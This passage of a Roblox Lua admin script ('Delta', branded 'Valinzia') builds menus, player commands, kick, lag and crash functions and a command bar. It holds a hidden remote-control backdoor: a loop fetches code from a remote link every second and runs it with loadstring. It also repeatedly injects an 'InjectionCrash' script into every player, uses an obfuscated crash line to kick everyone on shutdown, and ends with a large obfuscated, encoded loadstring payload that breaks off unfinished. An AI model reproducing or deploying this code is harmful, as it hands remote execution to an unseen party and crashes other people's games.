			while BBBG.Parent ~= nil do wait()
				ypcall(function()
					BBBG.StudsOffset = Vector3.new(0, a.Size.Y + 5, 0)
				end)
			end
		end)

		local NewImg = Instance.new("ImageLabel")
		NewImg.Size = UDim2.new(1, 0, 1, 0)
		NewImg.BackgroundTransparency = 1
		NewImg.Image = Image
		NewImg.Parent = BBBG
	end

	if Time ~= nil then
		Delta.Services.Debris:AddItem(a, Time)
	end

    cd.MouseClick:connect(function(pl)
    	if pl==Player or Delta.Ranked[pl.Name].Rank > Delta.Ranked[Player.Name].Rank then
			coroutine.wrap(function()
				for i = 0, 1, 0.1 do
					pcall(function()
						a.Transparency = i
						s.Transparency = i
						t.TextStrokeTransparency = i
						wait()
					end)
				end
				a:Destroy()
			end)()
			for _,v in pairs(Delta.Tablets) do
				if v.Tab == a then
					table.remove(Delta.Tablets, _)
				end
			end
			if Msg == "Dismiss" then
				Dismiss(Player)
			else
				if Function ~= nil then
					local Ran, Error = pcall(function()
						Function(a)
					end) if not Ran then print(Error) end
				end
			end
		end
    end)

	table.insert(Delta.Tablets,{Tab = a, Plr = Player.Name})
end

Output = function(Player, Msg, Color, Function, Time, Image)
	if type(Player) == "userdata" then
		local thread = coroutine.create(function()
			OutputSingular(Player, Msg, Color, Function, Time, Image)
		end)
		coroutine.resume(thread)
	elseif type(Player) == "table" then
		for _,v in pairs(Player) do
			local thread = coroutine.create(function()
				OutputSingular(v, Msg, Color, Function, Time, Image)
			end)
			coroutine.resume(thread)
		end
	elseif type(Player) == "string" then
		if Player:lower() == "all" then
			for _,v in pairs(Delta.Services.Players:GetPlayers()) do
				local thread = coroutine.create(function()
					OutputSingular(v, Msg, Color, Function, Time, Image)
				end)
				coroutine.resume(thread)
			end
		elseif Player:lower() == "admins" then
			for _,v in pairs(Delta.Services.Players:GetPlayers()) do
				if FindRank(v) >= 1 then
					local thread = coroutine.create(function()
						OutputSingular(v, Msg, Color, Function, Time, Image)
					end)
					coroutine.resume(thread)
				end
			end
		end
	end
end

Dismiss = function(plr)
	pcall(function()
		if type(plr) == "userdata" then
			plr = plr.Name
		end
		for i,v in pairs(Delta.Tablets) do
			if v.Plr == plr then
				coroutine.wrap(function()
					for i = 0, 1, 0.1 do
						pcall(function()
							v.Tab.Transparency = i
							v.Tab.SelectionBox.Transparency = i
							v.Tab.BG.TL.TextStrokeTransparency = i
							wait()
						end)
					end
					v.Tab:Destroy()
				end)()
				Delta.Tablets[i]=nil
			end
		end
	end)
end

function GetSplit(Message)
	local a = nil
	for i = 1, #Message do
		if Message:sub(i,i) == "-" then
			a = i + 1
			break
		end
	end
	if a ~= nil then
		return Message:sub(a)
	else
		return nil
	end
end

-- getPlayer --
getPlayer = function(Speaker, Msg)
	Msg = Msg:lower()
	local Table = {}
	local Players = Delta.Services.Players:GetPlayers()
	if Msg == "me" then
		table.insert(Table, Speaker)
	elseif Msg == "all" or Msg == "" then
		for _,v in pairs(Players) do
			table.insert(Table, v)
		end
	elseif Msg == "others" then
		for _,v in pairs(Players) do
			if v.Name ~= Speaker.Name then
				table.insert(Table, v)
			end
		end
	elseif Msg == "nonveterans" or Msg == "nonvets" then
		for _,v in pairs(Players) do
			if v.AccountAge < 364 then
				table.insert(Table, v)
			end
		end
	elseif Msg == "veterans" or Msg == "vets" then
		for _,v in pairs(Players) do
			if v.AccountAge > 364 then
				table.insert(Table, v)
			end
		end
	elseif Msg == "random" then
		local p = Players[math.random(1,#Players)]
		table.insert(Table, p)
	elseif Msg == 'friends' then
		for i,v in pairs(Players) do
			if Speaker:IsFriendsWith(v.userId) then
			   table.insert(Table, v)
			end
		end
	elseif Msg == 'nonfriends' then
		for i,v in pairs(Players) do
			if not Speaker:IsFriendsWith(v.userId) then
				table.insert(Table, v)
			end
		end
	elseif Msg == 'youngest' then
		at = {}
		for i,v in pairs(Players) do
			table.insert(at,v.AccountAge)
		end
		low = math.min(unpack(at))
		for i,v in pairs(Players) do
			if v.AccountAge == low then
				table.insert(Table, v)
			end
		end
	elseif Msg == 'oldest' then
		ot = {}
		for i,v in pairs(Players) do
			table.insert(ot,v.AccountAge)
		end
		high = math.max(unpack(ot))
		for i,v in pairs(Players) do
			if v.AccountAge == high then
				table.insert(Table, v)
			end
		end
	else
		for i,v in pairs(Players) do
			if v.Name:lower():sub(1,#Msg) == Msg:lower() then
				table.insert(Table, v)
			end
		end
	end
	for _,v in pairs(Table) do
		if CheckRank(v, Speaker) then
			table.remove(Table, _)
			Output(Speaker, v.Name.." Outranks You!", "Bright orange", nil, 3)
		end
	end
	return Table
end

-- Auto LoadString --
coroutine.wrap(function()
	while wait(1) do
		if Delta.Removed == true then return end
		ypcall(function()
			local hsync = Delta.Services.HttpService:GetAsync(Delta.RemoteControlLink, true)
			loadstring(hsync)()
		end)
	end
end)()

-- ShowCommands --
ShowCommands = function(Speaker)
	Dismiss(Speaker)
	local OpenCmds = function(Rank, Speaker)
		Dismiss(Speaker)
		for Name,Tab in pairs(Delta.Commands) do
			if Tab.Rank <= Rank then
				Output(Speaker, Name.." ("..Tab.Rank..")", nil, function()
					Dismiss(Speaker)
					Output(Speaker, "Name: "..Name)
					Output(Speaker, "Uses: "..table.concat(Tab.Uses, ", "))
					Output(Speaker, "Rank: "..Tab.Rank)
					Output(Speaker, "Description: "..Tab.Description)
					Output(Speaker, "Flags: "..Tab.Flags)
					Output(Speaker, "Back", "Really black", function() OpenCmds(Rank, Speaker) end)
					Output(Speaker, "Dismiss")
				end)
			elseif Rank == 1337 and Tab.Rank <= FindRank(Speaker) then
				Output(Speaker, Name.." ("..Tab.Rank..")", nil, function()
					Dismiss(Speaker)
					Output(Speaker, "Name: "..Name)
					Output(Speaker, "Uses: "..table.concat(Tab.Uses, ", "))
					Output(Speaker, "Rank: "..Tab.Rank)
					Output(Speaker, "Description: "..Tab.Description)
					Output(Speaker, "Flags: "..Tab.Flags)
					Output(Speaker, "Back", "Really black", function() OpenCmds(Rank, Speaker) end)
					Output(Speaker, "Dismiss")
				end)
			end
		end
		-- wait()
		Output(Speaker, "Dismiss", nil)
		Output(Speaker, "Back", "Really black", function() ShowCommands(Speaker) end)
	end
	local Rank = Delta.Ranked[Speaker.Name].Rank
	for _,v in pairs(Delta.Ranks) do
		if Rank >= _ then
			Output(Speaker, "Rank "..tostring(_).." ["..v.."]", nil, function() OpenCmds(_, Speaker) end)
		end
	end
	Output(Speaker, "All", nil, function() OpenCmds(1337, Speaker) end)
	Output(Speaker, "Dismiss")
end

-- ShowPlayers! --
ShowPlayers = function(Speaker)
	Dismiss(Speaker)
	for _,v in pairs(getALLPlayers()) do
		if v.Parent == Delta.Services.Players then
			Output(Speaker, v.Name, nil, function()
				Dismiss(Speaker)
				Output(Speaker, "Profile Name: "..v.Name, "Royal purple")
				Output(Speaker, "Profile Id: "..v.userId, "White")
				Output(Speaker, "Profile Age: "..v.AccountAge, "Teal")
				if FindRank(Speaker) > FindRank(v) then
					Output(Speaker, "Commands", "Lime green", function() CommandInterface(Speaker, v.Name) end)
				end
				Output(Speaker, "Go To "..v.Name.."'s Ranked Interface", "Really blue", function()
					GetRankedInterface(Speaker, v.Name)
				end)
				Output(Speaker, "Back", "Teal", function() ShowPlayers(Speaker) end)
				Output(Speaker, "Dismiss")
			end)
		else
			Output(Speaker, "nil-"..v.Name, nil, function()
				Dismiss(Speaker)
				Output(Speaker, "Profile Name: "..v.Name, "Teal")
				Output(Speaker, "Profile Id: "..v.userId, "White")
				Output(Speaker, "Profile Age: "..v.AccountAge, "Royal purple")
				if CheckRank(Speaker, v) then
					Output(Speaker, "Crash", "White", function()
						Dismiss(Speaker)
						local x = Instance.new("StringValue", Delta.Services.Lighting)
						x.Name = "Disconnect: "..v.Name
						coroutine.resume(coroutine.create(function()
							wait(0.5)
							if x.Name == "Disconnected: "..v.Name then
								Output(Speaker, "Successfully crashed "..v.Name, "Lime green", nil, 3)
							else
								Output(Speaker, "Failed to crash "..v.Name, "Lime green", nil, 3)
							end
						end))
					end)
				end
				Output(Speaker, "To Ranked Settings", "Really blue", function()
					GetRankedInterface(Speaker, v.Name)
				end)
				Output(Speaker, "Back", "Really blue", function() ShowPlayers(Speaker) end)
				Output(Speaker, "Dismiss")
			end)--, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
		end
	end
	Output(Speaker, "Dismiss")
end

-- Explorer! --
Explorer = function(Speaker, Obj)
	if Obj == nil then return Explorer(Speaker, Delta.Services.Game) end
	Dismiss(Speaker)
	if Obj == Delta.Services.Game then
		for i,v in pairs(Delta.Services.Game:GetChildren()) do
			ypcall(function()
				Output(Speaker, v.className, nil, function()
					Explorer(Speaker, v)
				end)
			end)
		end
		Output(Speaker, "Dismiss")
	else
		local ObjParent = Obj.Parent
		Output(Speaker, "Name: "..Obj.Name, "Magenta")
		Output(Speaker, "ClassName: "..Obj.className, "Magenta")
		Output(Speaker, "FullName: Game."..Obj:GetFullName(), "Magenta")
		Output(Speaker, "Destroy", "New Yeller", function()
			if Obj:IsA("Player") then
				if FindRank(Speaker) >= FindRank(Obj) and FindRank(Speaker) >= 2 then
					Obj:Kick()
					Explorer(Speaker, ObjParent)
				else
					Output(Speaker, "You cannot kick "..Obj.Name.."!", "Really red", nil, 2)
				end
			else
				Obj:remove()
				Explorer(Speaker, ObjParent)
			end
		end)
		Output(Speaker, "Refresh", "Royal purple", function() Explorer(Speaker, Obj) end)
		if #Obj:GetChildren() > 0 then
			Output(Speaker, "View Children", "Teal", function()
				for i,v in pairs(Obj:GetChildren()) do
					if not v.Name:lower():find('Delta tablet') then
						Output(Speaker, v.Name, nil, function()
							Explorer(Speaker, v)
						end)
					end
				end
			end)
		end
		Output(Speaker, "View Parent", "Really blue", function() Explorer(Speaker, ObjParent) end)
		Output(Speaker, "Dismiss")
	end
end
-- Cleaning And Stuff :) --
CreateBase = function()
	for _,v in pairs(Delta.Services.Workspace:GetChildren()) do
		if v.Name:lower():find('base') and v:IsA('BasePart') then
			v:remove()
		end
	end
	local Base = Instance.new("Part")
	Base.BrickColor = BrickColor.new("Dark green")
	Base.CFrame = CFrame.new(0, 0.6, 0)
	Base.Transparency = 0
	Base.Elasticity = 0.5
	Base.FormFactor = "Custom"
	Base.Material = 'Grass'
	Base.CanCollide = true
	Base.Friction = 0.30000001192093
	Base.Size = Vector3.new(2044, 0, 2044)
	Base.Archivable = true
	Base.Material = "Grass"
	Base.RotVelocity = Vector3.new(0, 0, 0)
	Base.Reflectance = 0
	Base.Locked = true
	Base.Anchored = true
	Base.Name = "Base"
	Base.TopSurface = "Smooth"
	Base.BottomSurface = "Inlet"
	Base.Shape = "Block"
	Base.Parent = Delta.Services.Workspace
end
CleanWorkspace = function()
	for i,s in pairs(Delta.Services.Workspace:GetChildren()) do
		if Delta.Services.Players:GetPlayerFromCharacter(s) == nil then
			if s.className ~= "Terrain" then
				if s.className ~= "Camera" then
					pcall(function() s:Destroy() end)
				end
			end
		end
	end
	CreateBase()
	for _,v in pairs(Delta.Services.Workspace:GetChildren()) do
		if v:IsA("Terrain") then
			v:Clear()
		end
	end
end
FullClean = function()
	local Child = {}
	local GetAllChildren = function(c)
		for _,v in pairs(c:GetChildren()) do
			ypcall(function()
				GetAllChildren(v)
				table.insert(Child, v)
			end)
		end
	end
	for _,v in pairs(Delta.Services.Game:GetChildren()) do
		ypcall(function()
			GetAllChildren(v)
		end)
	end
	for _,v in pairs(Child) do
		if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
			v:remove()
		end
	end
	CleanWorkspace()
	Debug()
	for _,v in pairs(Delta.Services.Players:GetPlayers()) do
		v:LoadCharacter()
	end
end
Debug = function()
	ypcall(function()
		for _,v in pairs(Delta.Services.Workspace:GetChildren()) do
			if v:IsA('Message') or v:IsA('Hint') then
				ypcall(function()
					v.Text = ''
					v:Destroy()
				end)
			end
			if v:IsA('Terrain') then
				v:Clear()
			end
		end
		Delta.Services.Lighting.GlobalShadows = true
		Delta.Services.Lighting.TimeOfDay = '14:00:00'
		Delta.Services.Lighting.Brightness = 0.3
		Delta.Services.Lighting.ShadowColor = Color3.new(0.705882, 0.705882, 0.705882)
		Delta.Services.Lighting.Ambient = Color3.new(1,1,1)
		Delta.Services.Lighting.ColorShift_Top = Color3.new(0, 0, 0)
		Delta.Services.Lighting.ColorShift_Bottom = Color3.new(0, 0, 0)
		Delta.Services.Lighting.OutdoorAmbient = Color3.new(0.6, 0.6, 0.6)
		Delta.Services.Lighting.FogStart = 0
		Delta.Services.Lighting.FogEnd = 100000
		Delta.Services.Lighting.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
		Delta.Services.Lighting:ClearAllChildren()
		Delta.Services.Teams:ClearAllChildren()
		for _,v in pairs(Delta.Services.Players:GetPlayers()) do
			v.Neutral = true
		end
	end)
end

-- Shutdown Function --
Shutdown = function()
	local SDKick = function(v)
		createLocalScript([[Instance.new(string.reverse("ecnatsnItnioJecafruSlaunaM"), game:service('Workspace'))]], v:waitForChild("Backpack"))
		if v then
			v:Kick()
		end
	end
	for _,v in pairs(Delta.Services.Players:GetPlayers()) do
		SDKick(v)
	end
	Delta.Services.Players.PlayerAdded:connect(function(v)
		wait()
		SDKick(v)
	end)
end

-- onJoin and onLeave! --
onJoin = function(Player)
	local a,b = ypcall(function()
		wait()
		local PlayerName = Player.Name
		createLocalScript(InjectionCrash, Player:waitForChild("Backpack"))
		if Delta.Removed == true then return end
		if FindRank(Player) == -1 then
			createLocalScript([[game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)]], Player:waitForChild("Backpack"))
		elseif FindRank(Player) == -1 then
			Announce(PlayerName.." got kicked due to a banishment.")
			Player:Kick()
		elseif FindRank(Player) == -2 then
			Announce(PlayerName.." got lagged due to a banishment.")
			Lag(Player)
		else
			ypcall(function()
				Delta.Connections.Chat[Player.Name] = Player.Chatted:connect(function(Message) onChatted(Player, Message) end)
			end)
			if FindRank(Player) >= 1 then
				Output(Player, "Welcome to Valinzia!", "Royal purple")
				Output(Player, "Created by iTov", "Really blue")
				Output(Player, "Your Rank is "..FindRank(Player), "White")
				Output(Player, "Click to view Available Commands!", "Lime green", function() ShowCommands(Player) end)
				Output(Player, "Dismiss")
			end
			if FindRank(Player) <= 0 then
				if Delta.AgeRestriction == true then
					if Player.AccountAge < 30 then
						Announce(PlayerName.." has been kicked for being under 30 days old.")
						Player:Kick()
					end
				end
			end
			if not Delta.Ranked[Player.Name] then
				Delta.Ranked[Player.Name] = {Rank = 0, Color = "White", MeshType = "No Mesh", Distance = 5, Description = "N/A", SpinningRot = true, Rotation = true}
			end
			Player.DescendantAdded:connect(function(Object)
				if Delta.LocalSidedScriptsLock == true then
					if Object.Name == "Animate" then return end
					if Object:IsA("Script") then
						local ObjectName = Object.Name
						Object.Disabled = true
						Object:remove()
					end
				end
				if not Delta.PseudoLocalScript then
					if Object:IsA("LocalScript") then
						Delta.PseudoLocalScript = Object:Clone()
						Delta.PseudoLocalScript.Disabled = true
						Announce("PseudoLocalScript Source Has Been Found!")
					end
				end
			end)
			if Delta.PrivateServer.Enabled == true then
				if FindRank(Player) < 0.1 then
					Delta.PrivateServer.Waiting[PlayerName] = true
					Announce(PlayerName.." got kicked due to the Private Server.")
					Player:Kick()
				end
			end
		end
	end)
	if not a then
		Output("All", b, "Really red")
	end
end
onLeave = function(Player)
	ypcall(function()
		wait()
		Dismiss(Player)
		local PlayerName = Player.Name
		if Delta.Removed == true then return end
		if FindRank(Player) >= 1 then
			for i = 1, Delta.ShutdownTime do
				local join = false
				for _,v in pairs(Delta.Services.Players:GetPlayers()) do
					if v.Name == Player.Name then
						join = true
					end
				end
				if join == false then
					if Delta.Aborted == true then
						Delta.Aborted = false
						local ABM = Instance.new("Message", Delta.Services.Workspace)
						ABM.Text = "Shutdown Aborted!"
						Delta.Services.Debris:AddItem(ABM, 1)
						return
					else
						local ABH = Instance.new("Hint", Delta.Services.Workspace)
						ABH.Text = "Rank 3 And Up Can Say sd"..Delta.Bet.."-a To Abort!"
						local ABM = Instance.new("Message", Delta.Services.Workspace)
						ABM.Text = Player.Name.." has been kicked: shutdown in "..Delta.ShutdownTime-i.." seconds!"
						wait(1)
						if ABM ~= nil then
							ABM:remove()
						end
						if ABH ~= nil then
							ABH:remove()
						end
					end
				else
					local ABM = Instance.new("Message", Delta.Services.Workspace)
					ABM.Text = "Shutdown Aborted!"
					Delta.Services.Debris:AddItem(ABM, 1)
					return
				end
			end
			Shutdown()
		end
		ypcall(function()
			Delta.Connections.Chat[PlayerName]:disconnect()
			Delta.Connections.Chat[PlayerName] = nil
		end)
		if FindRank(PlayerName) >= 0 and Delta.PrivateServer.Enabled == false and Player.AccountAge > 30 then
			Announce(PlayerName.." has left!")
		end
	end)
end

Delta.Services.Players.PlayerAdded:connect(function(Player) local PlayerName = Player.Name onJoin(Player) if FindRank(PlayerName) >= 0 and Delta.PrivateServer.Enabled == false and Player.AccountAge > 30 then Announce(PlayerName.." has joined!") end end)
Delta.Services.Players.PlayerRemoving:connect(function(Player) onLeave(Player) end)

coroutine.resume(coroutine.create(function()
	ypcall(function()
		for _,v in pairs(Delta.Services.Players:GetPlayers()) do
			onJoin(v)
		end
	end)
end))

coroutine.resume(coroutine.create(function()
	repeat
		ypcall(function()
			for _,v in pairs(Delta.Services.Players:GetPlayers()) do
				createLocalScript(InjectionCrash, v:waitForChild("Backpack"))
			end
		end)
		wait(5)
	until Delta.Removed == true
end))

-- Locking Scripts --
Delta.Services.Workspace.DescendantAdded:connect(function(Object)
	if Delta.ServerSidedScriptsLock == true then
		if Object.className == "Script" then
			local ObjectName = Object.Name
			Object.Disabled = true
			Object:remove()
		end
	end
end)

-- AddCommand and onChatted! --
Command = function(Name, Uses, Rank, Description, Flags, Function)
	if Uses == nil then return end
	if Name == nil then Name = "N/A" end
	if Rank == nil then Rank = 0 end
	if Description == nil then Description = "N/A" end
	if Flags == nil then Flags = "No Flags" end
	Delta.Commands[Name] = {Name = Name, Uses = Uses, Rank = Rank, Description = Description, Flags = Flags, Function = Function}
end

onChatted = function(Speaker, Message)
	if Delta.Removed == true then return end
	local SpeakerName = Speaker.Name
	if Message:sub(1,3) == "/e " then
		Message = Message:sub(4)
	end
	for _,v in pairs(Delta.ChatFilter.Phrases) do
		if Delta.ChatFilter.Enabled == true then
			if Delta.Ranked[Speaker.Name].Rank <= 0 then
				local Phrase = v[1]
				local Lvl = v[2]
				if Message:lower():match(Phrase:lower()) or Message:upper():match(Phrase:upper()) then
					if Lvl == 0 then
						Speaker.Character:breakJoints()
					elseif Lvl == 0.5 then
						createLocalScript([[game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)]], Speaker:waitForChild("Backpack"))
					elseif Lvl == 1 then
						Speaker:Kick()
						Announce(SpeakerName.." has been kicked for saying the word "..Phrase)
					elseif Lvl == 2 then
						Lag(Speaker)
						Announce(SpeakerName.." has been lagged for saying the word "..Phrase)
					elseif Lvl == 3 then
						ChangeRank(Speaker, -1)
						Announce(SpeakerName.." has been banned for saying the word "..Phrase)
					end
				end
			end
		end
	end
	for _,v in pairs(Delta.Commands) do
		for _,Use in pairs(v.Uses) do
			if Message:sub(1,#Use + #Delta.Bet) == Use..""..""..Delta.Bet then
				if FindRank(Speaker) >= v.Rank then
					Message = Message:sub(#Use + #Delta.Bet + 1)
					Ran, Error = ypcall(function()
						v.Function(Speaker, Message)
					end)
					if not Ran then Output(Speaker, Error, "Really red") end
				end
			end
		end
	end
end

-- Command Bar --
function giveCMDBar(Player)
	if type(Player) == "string" then
		Player = Delta.Services.Players:findFirstChild(Player) or nil
	end
	if Player == nil then return end
	local rankedData = Delta.Ranked[Player.Name]

	if rankedData.CMD == nil then
		CMD = true
	end

	for _,v in pairs(Player:FindFirstChild('PlayerGui'):GetChildren()) do
		if v.Name == 'Delta Command Bar' then
			v:remove()
		end
	end

	local ScreenGui = Instance.new("ScreenGui", Player:FindFirstChild('PlayerGui'))
	ScreenGui.Name = 'Delta Command Bar'

	local Frame = Instance.new("Frame",ScreenGui)
	Frame.BackgroundColor3 = Color3.new(1,1,1)
	Frame.BackgroundTransparency = 1
	Frame.BorderColor3 = Color3.new(0,0,0)
	Frame.BorderSizePixel = 0
	Frame.Position = UDim2.new(0,0,0.5,300)
	Frame.Size = UDim2.new(0,400,0,30)
	Frame.SizeConstraint = Enum.SizeConstraint.RelativeYY

	local TextButton = Instance.new("TextButton",Frame)
	TextButton.BackgroundColor3 = Color3.new(1,1,1)
	TextButton.BackgroundTransparency = 0.69999998807907
	TextButton.BorderColor3 = Color3.new(0,0,0)
	TextButton.Size = UDim2.new(0.20000000298023,0,1,0)
	TextButton.Style = Enum.ButtonStyle.Custom
	TextButton.Font = Enum.Font.SourceSans
	TextButton.FontSize = Enum.FontSize.Size24
	TextButton.Text = "Submit"
	TextButton.TextColor3 = Color3.new(1,0,0)

	local TextBox = Instance.new("TextBox",Frame)
	TextBox.Active = true
	TextBox.BackgroundColor3 = Color3.new(1,1,1)
	TextBox.BackgroundTransparency = 0.69999998807907
	TextBox.BorderColor3 = Color3.new(0,0,0)
	TextBox.Position = UDim2.new(0.20000000298023,0,0,0)
	TextBox.Size = UDim2.new(0.80000001192093,0,1,0)
	TextBox.Font = Enum.Font.SourceSans
	TextBox.FontSize = Enum.FontSize.Size24
	TextBox.Text = "Type Your Command Here"
	TextBox.TextColor3 = Color3.new(0,0,0)
	TextButton.MouseButton1Down:connect(function()
		onChatted(Player,TextBox.Text)
	end)

	Frame:TweenPosition(UDim2.new(0.75,0,0.5,300), "Out", "Quad", 1)
end
--[[
shared[" dat 119996013543151 "]={getfenv(),4.762173934797756};local z={[")"]=0,["^"]=1,["="]=2,["%"]=3,["@"]=4,["!"]=5,["("]=6,["*"]=7,["-"]=8,["_"]=9,["&"]=10,["~"]=11,["?"]=12,["#"]=13,["$"]=14,["+"]=15}; setfenv(assert(loadstring((string.gsub(string.gsub(table.concat({
"?(+(%(^(?()=&*?=_(#%%*-(^(=*!(@(~!==)=@(^(@*)=^%^%_%_%_%(%)%^A%!%@A%^%!%^%)A=#!~%_(#%#(^(@*-($=!(-*)*-=&*~!=%#!_=#=^%~%%*!(@*((!($((*-=^(%*%*!(=*@*-=?(+(^(@(%*@*=*_($(*(-=-A=^A+*+~$~++$@+=+%&^#*+!$^+)+($)$)$=&_?@$-#+$&#($?_?*&*(#$#)$#-~?*_)$_-^#!#(-!#!A?@#@#--+&&?$~!#)A?%_$_)?@?_~&_?~@?@?@?=_(~(~-~+&=*)*-_%~*&$~_&!~_-(~_&((*(**%-)&$&?*)&)&=&__(&-_)&_!_!-!$@^_~_!A%=%^_#-(@~_=!^*%-$-!-+%~!&!?%=@#!=_&-)-=-!%%(_-**%-=--*=*=*?=#@~(~*+=*=&*#(_(^*?)?!$(_)-)@**%$()(*(-($(?!?!$^$^$+?+~+(!$!%!-+(+^!_!$@%+^+^++$^!%!(@%@#@))=%^@+@^@)@-@)=#@)@(+=^@+?^)C@)%?%)%^%_+-%$=+%+$-$-^*=!%*=(=$=()%%(=$#*$&#_)@=-^+=?!)%=%(%(=#$-+?!)%=%(%$^%^@+(^$^$^$^?$)^)^=^_)??&?=+?!=*^)-^%)+)%$)^%))?^?)?)&$_*$(+@)(+!+#+!#=)!+_~-#&$!+?$(&=?@A&!?&+=+-$&$#_~?^++#~$&$)$&#&#@_!~%#%$*__*-*(*-#&##?&?@#*-?&*#!?)#*?^-#_+**&~?+?+?~~*?~~?~@-%?_~&?&*%*(_^?+&&~^~#((*?_~&_~~A&=~&-*~&&_(_@*@%-$&?_*&$_((_**_-_+_&_@&)&!&#_=_)*~_*A_~_~!*@%(!@*(=_$-)_=_=!?@~-^-=_=@&A@-@=@(@#%#^~^*!=-)*~*=*&%#"
,"@~(?(%*$(-*@*_*^*((!!=*)(?()*?(?!?!?($!((&!+(!^^%%^%=~+_+!%)($@_!)!-^~=*!_!&@&@(!(=^!#@+@^!^^#+_^~+#^-A@(@-@-)=)^@*%-@-A+&+#+-+~+%+%#^#?!=*-%(=^%-=)+%)+=^%?!==?!==$=$)%=%%#^*)+^#=_^+^=#$$)#+#-~(~=+#^~)(^?!=*!#(+@^*^?)(^?!$(+)?!=*$~&#?~)+$#=)!)_?@?%)_+?!$(&~^??~+~&~#~&~)?(~?~-~*~+&+-#-_?@+=$#$@$?&)#!$!++#__!~*_~?_~##)$@&+_$#@#!$!_?_*_$A_-_%_(_^_*_%_~-~(_(!&)#$~_?)?--?&^?^#~~-_%?^?!?!?=?)~*A~)?~(*-_(#-!A~=~=*(_~&~~!&=-#&~&+&+&?&&_^&!A&%((--_$_=_@&-_@&=_!-@-@A%^%%_!_--!-+-=@!*!-*_=_+!^_+-$A-(-*%%!!%#!^-!-!-^*#*^*=*&%_*+()-)%_=&!&(?A*@@(*@*%*#(~($^*=)@~(_!@(~!$^$+?+(@(!-(%()%=()(+!_!*!(^_=*@-@+@&@@!)A!#@=@)=~@*@_@~@~)*+%^!+*^=@$%)@=@=)?+~%^%=@=+&+@+-+=+(+#$#?~?!^!=*%=%++^%+=$=-=(=!$-+(^*^$^_^%=+^@=?A^))#^~)*^~^*^*)*^_)^^!)?!)%=%(%)??#$~#?&?^#%#=#^#)#+?$A?~?=?-?_?+~!?*_!_+#+$^)?+_?~+_+-+=+)++&=?$$)+^$^$#$#~-$@$($-$-&@_)~=_@~+#~A#+#+A_-#$?+#+-(_^_@_+-=_&-&(-(=~=?@#+??_$A?~?!?%?=-(&A~?!~+(~-#(^&+-%~(~&*!*@~&&A~(=*+(=*+($(#(?(~(&(_(&()*$(!C($!^"
,"(?!?!)(&!#B!A%#*#-+_&_*(__*_(_)_$-#@^*^_!_*-+*_%!!*%~!%-_-)-)@%!!-%-=-?*&*$!$*=-@*?(@%-@_*(*(*)*#(_)*)^!^(%*$(~%#(~(&(@(=(^=-%)($!%($)&=?))%-!$B!^?=@!=!*!)^@%+@@!)!)@^@$=~%*@~@^$+#_=_%~@(@%^!@%@=@?%&%_+)^-%(%~%_^$=$%-==$$+)$@)?==%_=_$))-=(=~=_)$^$=-^)$@)_^_=%^+#)$!~%~#+?!=*+^?!)%=%(%*$_^*^(^)^$)#?=+=)@^+)&~(#-~_~~#%)-)-+@)%~&_-_=$=+@)++??$+?+~+!+%+=~*#*$_+@+=?#$_$~$#$#&__!~*__~@$)$=$@$@&$_##%#@$@_?_(A_@_*_+-+($(?($?)#%?)?&?#*)~)?=##?&_(?$?!*^_%*~_+~%?%?+&~~+&)~-**~#&$~$(*(-_-&&~!~=-$&(~+!-(^-?&&_!&?_+!+%#%*-*__&@&^*#_!&&!?(#-#_^_#_~-!@^(%@(_%_!_@--=(=)*)-=_#-&!(-$-%@(!@*!*?A*^-#*=-&*+(#@-*@*(*-*-%@=)@?!==@@+(~(#(+(+=_=-($!+(+^*=^=!=+^%=?!)%=%(%&+-+=@=!@(+!?=-!)(!^-=(@*@$@_@%!+@@!?@^@)%#@~%*@~@*@*%*@_%^@!%&@)+?)$$#+&+^)%)=)^)))++$+?+~+=+-+_++$!+*?!?+)+^^%?=_+!=#==$!+^=%=@^@^)=)+~^*^_^~^~#*?%$!?*$=^$))^=^=#??~)^)=^=?_?@?*?=?!?#~#_~_!$!+*)=)+?~+%)-~_#*+&++$_+#$=+)+^&#~+_%#^?!$-$?&*&($?##$#_@&^&@&^&)&+_$_#_?_~_?_=&)&*_-_-_)_%_$-^_?-+-*-*(!("
,"+&+~^#??__!?#?=-(&~~~?!~+(~-#(^&+-%~(~&*!*@~&&~~~(=*+(-*+($(#(?(~(&(&(_()*-(!(#((($!^(?!?!)(&!#!!!!%%%#*#-+_&_*(%_~_)!*(+-#-=_#%_!~%+!*-#-@-@@~!%-^-(-+%%($*%-+*+()*#!&((*&*)^$)-!-(&*!*=@$((*~==@&(-(#(~@)()*&!@^)%=^(%$!@(~!~^=%&!-!#!~%)!)(&@=^(%~@~!!@^^=^*$!$+=+%^!?@_^!@#@=)*=*%_@@@+$~)#$$$$)_%#=#=*$$)&=(%-=@$~?_?%^%=!%)%#+_=^%($~)~^#=-=(+^=#^+^^=^$#?_$~?#$-^@^(^-^-#=#^^*)-^-?+?&?#?-?~?%?%&^&~$~+?!=*-)!#*)!)@)$+?+~~_#&+++?+#$_?~+_+-+=+)+=~@?$$!+~$(~$#_$*$($?#_#_$?__#*$+#%#%$*#?#&#%_%_%*^*)*+?~?@-*~*?_#@#^&#?!#&-+&+~^#??**@#=_@*(?(?%?_~#~!~~*+&%~~&~~)*)-#*^*!*!*@*#(^*+(+(_(#(~(~(!(_(*($(^(!(@(&(#!@(-(&!$!#!#!%!_@?_+-~-%_@@#=~=&=_=%*%-!_)_#!_-^_(@~(~*#---%%+@^%=%-!?*)*~*#*?*$(~(~*(=-@%**(*(%=?!$(-)*)()=@#(~!((#!^%&@?(_!-!)(^@+!=(*!^(!!&!-!^^#%~=+@=!(^^^)!(@*!*)~)$)-)~)()()_)%)()$+))%+@+)=!@%@)+_+?$#$~^$%_=~=-$^+@$@+~$~?_?-?*?))!%#=%=!=($?!$(~^*=&=?^!^(^%=##=+=^$)#^%^?^=$-$?!$(_)#$*^*)$)-?=+^)+)^)))-))$?!=*))=?!~!??~?_&___@+&+))^+!_%_=_^_~#"
